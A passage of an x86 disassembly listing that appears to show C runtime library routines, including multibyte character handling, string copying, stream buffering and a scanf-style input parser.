		mov	byte_4DC720[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC821[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC720[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC954, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC954, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC821[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C534, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB2AC, ecx
		mov	eax, offset dword_43C640

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C7A8
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB2A8, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C644[edx*8]
		mov	dword_4DB2A8, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB2A8, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB2A8, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA38
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA58
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB490
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB334[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB334h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C534, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C328
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C534, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C538, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C538
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C534, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C534, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8D8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C7B0
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C7A8

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
